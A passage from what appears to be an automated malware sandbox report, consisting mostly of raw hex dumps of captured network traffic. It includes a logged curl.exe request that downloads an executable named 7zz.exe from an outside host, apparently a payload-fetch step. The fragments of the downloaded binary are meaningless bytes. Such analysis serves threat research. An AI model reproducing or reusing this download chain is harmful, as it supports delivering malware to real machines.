6e bb 6e 9b e0 c8 25 e1 ef df c8 fc 01 00 8d 0c 5c 11 01 00 30 9c c1 c0 d3 f8 30 30 ca 9f c4 e7 7c 86 f1 39 8e 4f 21 d7 b6 0b e1 d9 62 8c 26 5b 6d 1a 7f 8b c6 0c 16 4f 1f e3 b1 1a 75 9c 1f b7 b0 1a 6e 9c 9e Data Ascii: [5mUk*1G[:}8{ tBu-a2m\7vOL5sn@Y5Nwn4m-Gk5,RcDeioVll3SC3T?d\| a<Iil7nn%\000\|9O!b&[mOun
2023-07-18 15:37:07 UTC	2208	IN	Data Raw: c9 15 1a 15 6a 54 e1 bc f2 58 ea b1 ea c5 85 80 f9 da aa 3d 82 b6 62 bb 65 bb c5 6d 0a 64 2b c8 95 b3 2b 91 ae 22 56 d6 ac 48 b7 92 a3 a2 8e 8a 06 57 79 54 ea 51 8a e1 95 c9 57 93 56 10 ac 50 bc a2 59 39 b2 52 e3 aa 90 4a 43 2a 3b f0 99 fe ea 1f 8a e4 f9 b9 d7 dd 59 eb 48 6f 53 cb f2 3f 2e 13 a1 ed e5 b2 d5 65 15 b6 54 24 b6 92 a4 f2 93 ca e5 57 7f ca a5 a9 9e 29 cf 7f 6f f6 db 5f d6 b7 4a a5 07 95 b6 25 cc 0f fe 42 a5 f4 9d bf a9 a5 e9 9f 5e 2f 5f 82 a5 ce 9e e9 62 a7 79 cc 8f 39 8a a1 53 fa 4c 1e b8 c2 a6 f2 99 4a 34 57 64 56 ca ac d2 b9 45 b3 95 66 fa b2 21 b8 fc 66 da 9c c2 b6 8a a6 56 9a 57 de 57 6e ad 6e ae c8 ae e0 5b e1 5d b1 5d c9 bf ca 6f 2e 86 fa a1 9b 1e 54 ec ef 66 fd d7 fa e9 75 d5 1d fd 33 88 70 1d f4 9d df 6a 77 e5 f0 9f 77 5d ce d0 e7 1c Data Ascii: jTX=bemd++"VHWyTQWVPY9RJC*;YHoS?.eT$W)o_J%B^/_by9SLJ4WdVEf!fVWWnn[]]o.Tfu3pjww]
2023-07-18 15:37:07 UTC	2224	IN	Data Raw: 80 fb d1 9f 97 73 9f 16 99 e9 9b 1e f1 54 94 c9 aa a3 65 ee cf 59 ca 23 6e ea 7d 24 54 3f 7d 4c 3a 49 a0 28 2e c5 a4 3f cc 8b fd 65 be 0a a1 59 74 28 13 08 50 21 84 22 bf d0 ec 2c 36 80 ea d4 6d a6 ae 17 b2 34 c1 97 0a f0 22 84 ac 21 f1 6b 85 35 4e 1f ba 1a fd 86 98 27 7d 83 4d 11 85 1b d2 67 99 97 4c 60 6a a1 0a f7 51 e0 f4 ef 07 56 24 d5 fc fc 90 78 0b 59 dc af 84 1a 65 66 a4 32 9c 6c bd ac bb 1b c1 c9 df 43 18 db 07 70 2f 23 0a f7 6b d7 0d c6 69 e6 5e 80 e6 ea 7e 21 27 db ef 0e 5d 93 65 8d 07 1c 3d 2f f9 88 10 ef 02 3c b6 ac 2e 8a 6f 62 74 16 de 3b db 59 e3 30 8c 4f 57 bc 29 96 5f 7e 1f 9d 4c e8 75 01 f0 b6 b0 d7 4b ef 9b eb 92 cc 80 19 f0 2c 32 a1 cc 72 31 6e 8c 18 1a 87 39 c4 8b 30 c3 4a 9c 75 3f c0 ff 9d 81 4d fc d2 5e 8a 12 bd ee bc 75 5b dd 66 6d Data Ascii: sTeY#n}$T?}L:I(.?eYt(P!",6m4"!k5N'}MgL`jQV$xYef2lCp/#ki^~!']e=/<.obt;Y0OW)_~LuK,2r1n90Ju?M^u[fm
2023-07-18 15:37:07 UTC	2240	IN	Data Raw: c3 52 6b b3 02 84 38 44 71 0d 92 96 a5 b7 37 11 66 36 45 53 80 e8 71 61 ad ef 34 5a 13 86 44 fd 7e f4 a7 03 35 d2 ff d8 20 4a 0b 3c 98 ff 3d 24 a5 e2 05 9c 27 25 e5 b7 fd d7 8d bc 9f c7 f1 30 b1 e4 b6 29 17 e5 c1 db 3e 93 a7 56 f5 4c 51 6a 9e e5 21 36 a0 66 8b 84 53 51 54 9d 99 d3 22 85 34 d3 a5 67 70 ef a9 5a 43 4f a7 61 b6 37 ff a8 0e cb 29 89 75 4f 06 ad 2c 66 77 b8 cf f2 9a 34 21 3a dd 0f 5a f9 57 44 a0 85 22 81 77 70 c3 13 1b c6 a6 af 40 b6 7f 56 f1 c6 b2 3b f6 b5 19 c8 7b ef e7 fe 19 e1 5c 8b 43 14 e2 60 da fd 09 f9 87 10 eb c8 93 36 0e 71 73 0d 7c ce df 3c 1f d7 c9 c3 3b 74 c9 fe 43 fb 4e 8a d9 3d f1 87 9a a3 97 b0 1a 44 5d b2 a6 f6 93 49 39 26 89 05 5a f1 09 56 26 c8 a1 e9 34 bd b7 8b d5 43 ca 9f a2 db 75 7e 4e 4e ae cb bc 10 23 0f 6c 0d 5f 09 60 Data Ascii: Rk8Dq7f6ESqa4ZD~5 J<=$'%0)>VLQj!6fSQT"4gpZCOa7)uO,fw4!:ZWD"wp@V;{\C`6qs\|<;tCN=D]I9&ZV&4Cu~NN#l_`

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49721	188.127.225.160	443	C:\Windows\System32\curl.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-18 15:37:08 UTC	2252	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe HTTP/1.1 Host: ponraj.com User-Agent: curl/7.55.1 Accept: /
2023-07-18 15:37:08 UTC	2252	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 18 Jul 2023 15:37:08 GMT Content-Type: application/x-msdos-program Content-Length: 587776 Connection: close Last-Modified: Mon, 10 Jul 2023 18:02:03 GMT ETag: "8f800-60025c7a4b2d6" Accept-Ranges: bytes
2023-07-18 15:37:08 UTC	2252	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7d 11 72 52 39 70 1c 01 39 70 1c 01 39 70 1c 01 42 6c 10 01 3b 70 1c 01 ba 6c 12 01 20 70 1c 01 0f 56 16 01 5b 70 1c 01 b7 78 43 01 38 70 1c 01 39 70 1d 01 96 70 1c 01 ba 78 41 01 3e 70 1c 01 0f 56 17 01 84 70 1c 01 56 06 b6 01 19 70 1c 01 56 06 82 01 3b 70 1c 01 fe 76 1a 01 38 70 1c 01 52 69 63 68 39 70 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}rR9p9p9pBl;pl pV[pxC8p9ppxA>pVpVpV;pv8pRich9pPEL
2023-07-18 15:37:08 UTC	2268	IN	Data Raw: 3b 00 00 f6 44 24 08 01 74 07 56 e8 16 2f 00 00 59 8b c6 5e c2 04 00 b8 9c 30 47 00 e8 7d 6d 06 00 83 ec 10 53 56 57 8b f9 33 f6 8b da 6a 03 8d 4d e4 89 75 f0 89 75 e4 89 75 e8 89 75 ec e8 65 d3 ff ff 8d 55 e4 8b cb 89 75 fc e8 a5 4b 00 00 8d 45 e4 8b cf 50 e8 73 ee ff ff ff 75 e4 e8 c3 2e 00 00 59 8b c7 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c3 53 56 8b f1 33 db 6a 03 8d 4e 10 88 1e 88 5e 01 88 5e 02 88 5e 03 88 5e 04 89 5e 08 89 5e 0c 89 19 89 59 04 89 59 08 e8 07 d3 ff ff 89 5e 20 89 5e 24 89 5e 28 c7 46 2c 04 00 00 00 c7 46 1c 78 a6 47 00 8b c6 5e 5b c3 b8 be 30 47 00 e8 d7 6c 06 00 51 56 8b f1 57 33 ff 8d 4e 04 89 3e 6a 03 89 75 f0 89 39 89 79 04 89 79 08 e8 c3 d2 ff ff 8d 4e 10 6a 03 89 7d fc 89 39 89 79 04 89 79 08 e8 ae d2 ff ff 8d 4e 1c 6a 03 Data Ascii: ;D$tV/Y^0G}mSVW3jMuuuueUuKEPsu.YM_^[dSV3jN^^^^^^YY^ ^$^(F,FxG^[0GlQVW3N>ju9yyNj}9yyNj
2023-07-18 15:37:08 UTC	2284	IN	Data Raw: d8 c1 e3 02 8b 45 08 8b 40 0c 8b 14 18 8b 46 0c 8b 0c b8 e8 94 fe ff ff 84 c0 74 09 47 83 c3 04 3b 7e 08 7c df 8b 56 08 3b fa 74 15 8b 45 0c 40 3b 45 fc 89 45 0c 7e c1 32 c0 5f 5e 5b c9 c2 08 00 b0 01 eb f5 56 57 8b f1 33 ff 39 7e 18 7e 1c 8b 46 1c 8b 54 24 0c 8b 04 b8 8d 48 04 e8 c8 fc ff ff 85 c0 74 0e 47 3b 7e 18 7c e4 83 c8 ff 5f 5e c2 04 00 8b c7 eb f7 80 7c 24 04 00 ff 74 24 08 74 05 83 c1 24 eb 03 83 c1 38 e8 48 08 00 00 c2 08 00 b8 5c 38 47 00 e8 01 2d 06 00 83 ec 4c 53 56 57 8b 7d 0c 8b f1 8b 47 08 83 f8 01 7e 5f 8b 47 0c 8b 18 8b cb 89 5d 0c e8 8a fe ff ff 84 c0 75 4c 53 8b ce e8 7a ff ff ff 8b d8 85 db 7d 27 56 8d 4d a8 ff 75 0c e8 4e 00 00 00 83 65 fc 00 50 8d 4e 10 e8 6e 07 00 00 83 4d fc ff 8d 4d a8 8b d8 e8 90 cc ff ff 8b 07 6a 01 6a 00 8b Data Ascii: E@FtG;~\|V;tE@;EE~2_^[VW39~~FT$HtG;~\|_^\|$t$t$8H\8G-LSVW}G~_G]uLSz}'VMuNePNnMMjj
2023-07-18 15:37:08 UTC	2300	IN	Data Raw: 57 e8 14 30 00 00 85 c0 89 46 08 74 08 33 c0 eb 0d 83 66 08 00 01 7e 10 8b c7 83 56 14 00 5f 5e c2 04 00 83 e9 00 74 2c 49 74 25 49 74 1c 83 e9 03 74 11 83 e9 05 74 06 b8 05 40 00 80 c3 b8 04 40 00 80 c3 b8 57 00 07 80 c3 b8 0e 00 07 80 c3 6a 01 58 c3 33 c0 c3 8b c1 8b 4c 24 04 83 60 0c 00 89 48 08 c7 00 66 cb 40 00 c7 40 04 ac cb 40 00 c2 04 00 55 8b ec 53 56 57 8b 7d 08 8b f1 b8 00 00 00 80 8b 0f 3b c8 89 4d 08 72 03 89 45 08 8b 46 08 8d 5d 08 53 ff 75 08 8b 08 52 50 ff 51 0c 89 46 0c 8b 45 08 89 07 8b 46 0c f7 d8 1b c0 5f 5e 83 e0 08 5b 5d c2 04 00 55 8b ec 51 51 8b 45 08 56 57 8b f9 33 c9 8b f2 2b c1 74 12 48 74 0c 48 74 05 6a 05 58 eb 34 6a 02 eb 02 6a 01 59 53 8b 47 08 8d 5d f8 8b 10 53 51 ff 76 04 ff 36 50 ff 52 10 89 47 0c 8b 45 f8 89 06 8b 45 fc Data Ascii: W0Ft3f~V_^t,It%Ittt@@WjX3L$`Hf@@@USVW};MrEF]SuRPQFEF_^[]UQQEVW3+tHtHtjX4jjYSG]SQv6PRGEE
2023-07-18 15:37:08 UTC	2316	IN	Data Raw: ff 75 fc 8b cf 56 ff 75 08 e8 8d 84 ff ff 5f 5e c9 c2 08 00 b8 ac 41 47 00 e8 80 ad 05 00 83 ec 1c 53 56 57 8b 7d 08 8b d9 6a 01 8b 47 08 89 55 f0 3b c3 5e 75 34 80 7d 10 00 75 2e ff 35 18 ba 48 00 8d 4d e4 e8 f6 29 ff ff ff 75 0c 8b 4d f0 83 65 fc 00 8d 55 e4 56 e8 7a ff ff ff 83 4d fc ff ff 75 e4 e8 bd 6e ff ff 59 3b 5f 08 7d 6a 8b 47 0c 8b 0c 98 83 79 04 00 74 48 8b 01 66 83 38 40 75 2f 8d 45 d8 56 50 e8 4a 67 ff ff ff 75 14 8b 00 8b 4d f0 8b d0 ff 75 0c 89 75 fc 56 e8 47 00 00 00 83 4d fc ff ff 75 d8 e8 77 6e ff ff 59 eb 0e ff 75 0c 8b d1 8b 4d f0 56 e8 17 ff ff ff 43 eb a7 a1 38 ba 48 00 68 58 d3 47 00 89 45 10 8d 45 10 50 e8 29 ad 05 00 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c2 10 00 b8 c8 41 47 00 e8 aa ac 05 00 83 ec 18 53 56 57 33 f6 bf 20 a4 Data Ascii: uVu_^AGSVW}jGU;^u4}u.5HM)uMeUVzMunY;_}jGytHf8@u/EVPJguMuuVGMuwnYuMVC8HhXGEEP)M_^[dAGSVW3
2023-07-18 15:37:08 UTC	2332	IN	Data Raw: 00 60 00 8b c3 8b de 8b f2 55 99 6a 03 03 d8 55 57 13 f2 e8 66 68 05 00 6a 01 59 e8 ce 67 05 00 03 d8 13 f2 5f 8b d6 5e 8b c3 5d 5b 59 c3 53 8a 5c 24 08 56 8b f1 f6 c3 02 74 24 57 8d 7e fc 68 b4 29 44 00 ff 37 6a 18 56 e8 27 73 05 00 f6 c3 01 74 07 57 e8 cd 2e ff ff 59 8b c7 5f eb 15 8b ce e8 5c de 02 00 f6 c3 01 74 07 56 e8 b5 2e ff ff 59 8b c6 5e 5b c2 04 00 b8 80 47 47 00 e8 1b 6d 05 00 83 ec 1c 53 33 db 56 57 89 5d e0 c7 45 d8 cc aa 47 00 68 00 05 00 00 8d 4d d8 89 5d fc e8 88 f0 ff ff 84 c0 0f 84 80 00 00 00 8b 75 e0 33 c0 ba 00 01 00 00 88 04 30 40 3b c2 72 f8 8b ce e8 8b 00 00 00 3d 73 8c 05 29 75 60 8d 45 e4 ba 00 04 00 00 50 8d 8e 00 01 00 00 c7 45 e4 e5 55 9a 15 c7 45 e8 b5 3b 12 1f e8 93 00 00 00 89 5d ec 8b 45 ec 83 65 f0 00 8d 3c 30 8b 55 f0 Data Ascii: `UjUWfhjYg_^][YS\$Vt$W~h)D7jV'stW.Y_\tV.Y^[GGmS3VW]EGhM]u30@;r=s)u`EPEUE;]Ee<0U
2023-07-18 15:37:08 UTC	2348	IN	Data Raw: ff 75 d0 8b f0 e8 1c ef fe ff ff 75 dc e8 14 ef fe ff ff 75 c4 e8 0c ef fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b c6 e9 65 01 00 00 ff 75 1c 8d 45 b8 8d 4d c4 50 e8 63 e8 fe ff 50 8d 4d dc c6 45 fc 05 e8 e3 92 fe ff ff 75 b8 c6 45 fc 04 e8 c9 ee fe ff 59 8d 45 b8 ff 75 1c 8d 4d c4 50 e8 6a e7 fe ff 50 8d 4d d0 c6 45 fc 06 e8 ba 92 fe ff ff 75 b8 c6 45 fc 04 e8 a0 ee fe ff 59 8d 45 d0 50 8d 45 dc 50 8b ce e8 a5 02 00 00 eb 10 8b 45 18 8b 56 08 8b 08 8d 46 08 51 50 ff 52 0c ff 75 f0 8b cf ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 a1 f9 ff ff 3b c3 89 45 18 74 34 ff 75 d0 e8 56 ee fe ff ff 75 dc e8 4e ee fe ff ff 75 c4 e8 46 ee fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b 45 18 e9 9e 00 00 00 8d 45 d0 Data Ascii: uuuEM;tPQeuEMPcPMEuEYEuMPjPMEuEYEPEPEVFQPRuuuuuu;Et4uVuNuFEM;tPQEE
2023-07-18 15:37:08 UTC	2364	IN	Data Raw: 74 07 8b 10 51 8b c8 ff 12 ff 45 f8 83 45 fc 0c 8b 45 f8 3b 43 08 0f 8c 77 ff ff ff 8b 4d 08 e8 1a bc fe ff 5f 5e 5b c9 c2 08 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 f0 8d 45 f0 50 e8 c1 ed 04 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 ec 8d 45 ec 50 e8 ab ed 04 00 8b 44 24 08 83 f8 01 72 07 b8 57 00 07 80 eb 2b 8b 54 24 10 8d 04 40 8b 0c 85 1c c4 48 00 8d 04 85 18 c4 48 00 89 0a 8b 4c 24 14 66 8b 40 08 66 89 01 8b 44 24 0c 83 20 00 33 c0 c2 14 00 b8 28 56 47 00 e8 ff ec 04 00 83 ec 10 33 c9 66 89 4d e4 66 89 4d e6 83 7d 0c 2c 89 4d fc 75 16 8b 45 08 38 48 30 74 0e ff 70 24 8d 4d e4 ff 70 20 e8 03 f6 fe ff ff 75 10 8d 4d e4 e8 ea f6 fe ff 83 4d fc ff 8d 4d e4 e8 3b f6 fe ff 8b 4d f4 33 c0 64 89 0d 00 00 00 00 c9 c2 0c 00 b8 3c 56 47 00 e8 a2 ec 04 00 83 ec 10 Data Ascii: tQEEE;CwM_^[HhXGEEPHhXGEEPD$rW+T$@HHL$f@fD$ 3(VG3fMfM},MuE8H0tp$Mp uMMM;M3d<VG
2023-07-18 15:37:08 UTC	2380	IN	Data Raw: eb 12 48 48 e9 9d f8 ff ff b8 01 0b 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 b8 4c 5c 47 00 e8 6f ad 04 00 83 ec 34 53 56 8b f1 57 33 db 6a 03 8d 4d e4 89 5d f0 89 5d e4 89 5d e8 89 5d ec e8 59 13 fe ff 38 5e 18 8b 7e 10 89 5d fc 0f 84 4b 01 00 00 89 7d f0 4f 3b fb 7c 66 8b 46 0c 66 8b 1c 78 66 83 fb 7a 75 26 8d 45 e4 66 ba 61 00 50 8d 4d d8 e8 de 0b 00 00 50 8d 4d e4 c6 45 fc 01 e8 a4 12 fe ff 80 65 fc 00 ff 75 d8 eb 2a 66 83 fb 5a 75 63 8d 45 e4 66 ba 41 00 50 8d 4d cc e8 b2 0b 00 00 50 8d 4d e4 c6 45 fc 02 e8 78 12 fe ff 80 65 fc 00 ff 75 cc e8 5e 6e fe ff 4f 59 79 9a 8d 7e 0c 8d 45 e4 50 8b cf e8 5a 12 fe ff 8b 4d 08 57 8b d6 e8 c9 a4 fe ff ff 75 e4 e8 39 6e fe ff 8b 45 08 59 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 Data Ascii: HHBM_^d[L\Go4SVW3jM]]]]Y8^~]K}O;\|fFfxfzu&EfaPMPMEeu*fZucEfAPMPMExeu^nOYy~EPZMWu9nEYM_^[d
2023-07-18 15:37:08 UTC	2396	IN	Data Raw: 00 a1 8c c9 48 00 a3 cc 0c 49 00 c3 8b 15 8c c9 48 00 56 8d 71 14 8b ce e8 1e 00 00 00 84 c0 75 15 8b 15 90 c9 48 00 8b ce e8 0d 00 00 00 84 c0 75 04 33 c0 5e c3 6a 01 58 5e c3 8b 09 e8 46 35 fe ff f7 d8 1b c0 40 c3 b8 80 64 47 00 e8 4c 6d 04 00 83 ec 24 53 56 8b 71 3c 57 8b 7d 08 83 7f 18 00 75 0e ff 35 cc 0c 49 00 8d 4f 14 e8 2f ea fd ff 8b cf e8 93 ff ff ff 84 c0 0f 84 42 01 00 00 83 fe 09 72 07 b8 00 00 00 04 eb 27 83 fe 07 72 07 b8 00 00 00 02 eb 1b 83 fe 05 72 07 b8 00 00 00 01 eb 0f 83 fe 03 1b c0 25 00 00 f1 ff 05 00 00 10 00 83 fe 05 8b 0d a8 c9 48 00 1b db 43 83 fe 07 1b ff 83 e7 e0 83 c7 40 83 fe 05 73 06 8b 0d a4 c9 48 00 66 83 65 e2 00 89 4d f0 66 c7 45 e0 13 00 89 45 e8 8b 4d 08 83 65 fc 00 8d 45 e0 50 6a 01 5a e8 69 03 00 00 83 ce ff 8d 4d Data Ascii: HIHVquHu3^jX^F5@dGLm$SVq<W}u5IO/Br'rr%HC@sHfeMfEEMeEPjZiM
2023-07-18 15:37:08 UTC	2412	IN	Data Raw: 6b 47 00 e8 96 2d 04 00 51 56 8b f1 89 75 f0 8d 8e 94 00 00 00 c7 45 fc 03 00 00 00 e8 f1 fa fd ff 8d 4e 7c c6 45 fc 02 e8 e5 fa fd ff 8d 4e 68 c6 45 fc 01 e8 d9 fa fd ff 80 65 fc 00 8d 4e 54 e8 cd fa fd ff 83 4d fc ff 8d 4e 04 e8 f2 aa ff ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 8b c1 83 60 04 00 83 60 08 00 c7 00 ec a7 47 00 c3 8b c1 33 c9 89 48 04 89 48 08 89 48 0c c7 40 10 04 00 00 00 c7 00 78 b1 47 00 c3 b8 9c 6b 47 00 e8 0a 2d 04 00 51 56 8b f1 89 75 f0 c7 06 00 b3 47 00 83 65 fc 00 e8 91 fa fd ff 83 4d fc ff 8b ce e8 5d fa fd ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 b8 b2 6b 47 00 e8 d2 2c 04 00 51 56 8b f1 6a 28 e8 29 ee fd ff 59 8b c8 89 4d f0 33 c0 3b c8 89 45 fc 74 08 ff 75 08 e8 e2 02 00 00 83 4d fc ff 50 8b ce e8 81 d0 fe ff 8b 4d f4 5e 64 Data Ascii: kG-QVuEN\|ENhEeNTMNM^d``G3HHH@xGkG-QVuGeM]M^dkG,QVj()YM3;EtuMPM^d
2023-07-18 15:37:08 UTC	2428	IN	Data Raw: 65 fc 00 e8 1e af fd ff 8b 75 08 59 eb 2a 50 51 8d 4e 0c e8 c4 8b ff ff 85 c0 74 0f 8b f0 ff 75 e4 e8 00 af fd ff 59 8b c6 eb 22 ff 75 e4 80 65 fc 00 e8 ef ae fd ff 59 43 e9 46 ff ff ff 33 c0 eb 0b b8 3a cb 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 56 8b f2 57 8b f9 8d 46 0c 8d 56 08 50 e8 3e 00 00 00 85 c0 75 37 8b 07 66 83 38 3a 74 07 b8 57 00 07 80 eb 28 6a 01 6a 00 8b cf e8 25 aa fd ff 8d 46 04 8b d6 50 8b cf e8 13 00 00 00 85 c0 75 0c 8b 47 04 f7 d8 1b c0 25 57 00 07 80 5f 5e c3 56 57 8b 7c 24 0c 8b f1 83 27 00 e8 0a 98 ff ff 85 c0 74 2a 50 6a 00 8b ce e8 e7 a9 fd ff 8b 06 66 83 38 53 75 29 6a 01 6a 00 8b ce e8 d4 a9 fd ff 8b d7 8b ce e8 e0 97 ff ff 85 c0 75 07 b8 57 00 07 80 eb 0c 50 6a 00 8b ce e8 b6 a9 fd ff 33 c0 Data Ascii: euYPQNtuY"ueYCF3:BM_^d[VWFVP>u7f8:tW(jj%FPuG%W_^VW\|$'tPjf8Su)jjuWPj3
2023-07-18 15:37:08 UTC	2444	IN	Data Raw: 24 0c 8b f1 3b 7e 1c 7c 13 53 8d 5e 14 6a 00 8b cb e8 27 a1 00 00 3b 7e 1c 7d f2 5b 8b 4e 20 8a 44 24 10 84 c0 88 04 39 74 24 3b 7e 08 7c 0d 6a 00 6a 00 8b ce e8 73 2d ff ff eb ee 8b 46 0c 8b 4c 24 14 89 0c f8 8b 4c 24 18 89 4c f8 04 5f 5e c2 10 00 b8 48 78 47 00 e8 41 ad 03 00 83 ec 14 56 57 8b f9 8d b7 58 02 00 00 8b ce e8 ca 7a fd ff 81 c7 c8 01 00 00 8d 4d e0 57 e8 2f 3b ff ff 6a 0e 33 ff 5a 8d 4d e0 89 7d fc e8 3f 01 00 00 6a 0f 8d 4d e0 5a e8 34 01 00 00 6a 11 8b d6 8d 4d e0 e8 d7 00 00 00 6a 10 8b d6 8d 4d e0 e8 cb 00 00 00 6a 09 8b d6 8d 4d e0 e8 bf 00 00 00 6a 06 8b d6 8d 4d e0 e8 b3 00 00 00 6a 12 8b d6 8d 4d e0 e8 a7 00 00 00 6a 14 8b d6 8d 4d e0 e8 9b 00 00 00 6a 13 8b d6 8d 4d e0 e8 8f 00 00 00 6a 15 8b d6 8d 4d e0 e8 83 00 00 00 6a 0a 8b d6 Data Ascii: $;~\|S^j';~}[N D$9t$;~\|jjs-FL$L$L_^HxGAVWXzMW/;j3ZM}?jMZ4jMjMjMjMjMjMjMjMj
2023-07-18 15:37:08 UTC	2460	IN	Data Raw: 3b c3 0f 85 3f 01 00 00 39 5e 18 74 65 8b ce e8 8f fc ff ff ff 46 28 8b f8 3b fb c6 46 39 01 75 1c 8b 4e 34 3b cb 74 15 8b 56 10 3b d3 74 0e 8b 46 48 2b 46 20 50 e8 df af fd ff 8b f8 39 5e 10 75 16 80 7e 1c 00 74 10 39 5e 34 74 0b 6a 01 8b ce e8 0f fc ff ff eb 07 8b ce e8 32 fc ff ff 3b c3 0f 85 e0 00 00 00 3b fb 74 9d 8b c7 e9 d5 00 00 00 80 66 1c 00 83 7d ec 00 0f 87 b3 00 00 00 8b 5d 10 e9 d1 fe ff ff 8b 46 0c 8b 4e 28 8b 40 08 3b c8 7d 3a 8b 46 08 8b 56 24 03 d1 33 ff 8b 48 20 8b 40 0c 8d 0c d1 8b 11 8b 49 04 8b 04 90 8b 56 48 8b 40 70 8b 04 88 8b 48 10 89 4e 3c 8b 4e 4c 8b 40 0c 3b f9 77 17 72 04 3b c2 73 07 b8 05 40 00 80 eb 71 3b f9 72 2c 77 04 3b c2 76 26 8b c8 2b 4e 48 3b 4d 0c 72 03 8b 4d 0c 01 4d ec 85 db 74 05 8b 55 ec 89 13 01 4d 08 29 4d 0c Data Ascii: ;?9^teF(;F9uN4;tV;tFH+F P9^u~t9^4tj2;;tf}]FN(@;}:FV$3H @IVH@pHN<NL@;wr;s@q;r,w;v&+NH;MrMMtUM)M
2023-07-18 15:37:08 UTC	2476	IN	Data Raw: e8 7a 03 00 00 8d 46 18 8d 8d 18 fe ff ff 50 6a 08 5b 8b d3 e8 1e 03 00 00 84 c0 0f 84 c9 01 00 00 8d 7e 1c 8b d3 57 8d 8d 20 fe ff ff e8 05 03 00 00 84 c0 75 03 83 27 00 8d 7e 20 8b d3 57 8d 8d 28 fe ff ff e8 ed 02 00 00 84 c0 75 03 83 27 00 0f b6 85 30 fe ff ff 0f b6 8d 31 fe ff ff c1 e0 08 0b c1 0f b6 8d 32 fe ff ff c1 e0 08 0b c1 0f b6 8d 33 fe ff ff c1 e0 08 0b c1 3d 00 00 00 80 8d 46 10 89 45 0c 75 6a 0f b6 85 34 fe ff ff 0f b6 8d 35 fe ff ff c1 e0 08 0b c1 0f b6 8d 36 fe ff ff c1 e0 08 0b c1 0f b6 8d 37 fe ff ff 0f b6 bd 39 fe ff ff c1 e0 08 0b c1 33 c9 8b d0 0f b6 85 38 fe ff ff c1 e0 08 0b c7 0f b6 bd 3a fe ff ff c1 e0 08 0b c7 0f b6 bd 3b fe ff ff c1 e0 08 0b c7 33 ff 0b c8 8b 45 0c 0b d7 89 08 89 50 04 eb 17 50 6a 0c 5a 8d 8d 30 fe ff ff e8 df Data Ascii: zFPj[~W u'~ W(u'0123=FEuj4567938:;3EPPjZ0
2023-07-18 15:37:08 UTC	2492	IN	Data Raw: 65 fc 00 8d 4d 80 e8 56 00 00 00 33 c0 eb 0b b8 07 cb 43 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 14 00 8b c1 33 c9 89 08 89 48 04 89 48 08 89 48 0c 89 48 10 89 48 14 89 48 18 89 48 1c 89 48 20 89 48 28 89 48 2c 89 48 30 c7 40 34 04 00 00 00 c7 40 24 30 b8 47 00 c3 b8 a7 87 47 00 e8 33 ed 02 00 51 51 56 8b f1 57 89 75 f0 83 65 fc 00 8d 7e 24 89 7d ec c7 07 30 b8 47 00 8b cf c6 45 fc 05 e8 ac ba fc ff 8b cf c6 45 fc 04 e8 78 ba fc ff 8b 46 20 c6 45 fc 03 85 c0 74 06 8b 08 50 ff 51 08 8b 46 1c c6 45 fc 02 85 c0 74 06 8b 08 50 ff 51 08 8b 46 14 c6 45 fc 01 85 c0 74 06 8b 08 50 ff 51 08 8b 46 10 80 65 fc 00 85 c0 74 06 8b 08 50 ff 51 08 8b 76 0c 83 4d fc ff 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 c9 c3 e9 53 Data Ascii: eMV3CM_^d[3HHHHHHHH H(H,H0@4@$0GG3QQVWue~$}0GEExF EtPQFEtPQFEtPQFetPQvMtVPM_^dS
2023-07-18 15:37:08 UTC	2508	IN	Data Raw: e8 fe fc ff ff 8a 46 40 8b cf 50 e8 c1 fc ff ff 8a 46 41 8b cf 50 e8 b6 fc ff ff 8a 06 80 7d fd 00 88 45 f8 74 08 3c 2d 73 04 c6 45 f8 2d ff 75 f8 8b cf e8 99 fc ff ff 8a 46 01 8b cf 50 e8 8e fc ff ff 66 8b 46 02 8b cf 50 e8 91 fc ff ff 66 8b 46 04 8b cf 50 e8 85 fc ff ff ff 76 08 8b cf e8 9e fc ff ff ff 76 0c 8b cf e8 94 fc ff ff 80 7d ff 00 74 05 83 c8 ff eb 03 8b 46 10 50 8b cf e8 7e fc ff ff 80 7d 0b 00 74 05 83 c8 ff eb 03 8b 46 18 53 50 8b cf e8 67 fc ff ff ff 76 24 8b cf e8 3a fc ff ff 8a 5d fe 8a 45 ff f6 db 1b db 83 e3 08 f6 d8 1b c0 83 e0 08 03 d8 8a 45 0b f6 d8 1b c0 83 e0 08 03 d8 8a 45 fd f6 d8 8d 4b 04 1b c0 23 c1 8a 8e 8a 00 00 00 f6 d9 1b c9 83 e1 24 03 c1 8d 4e 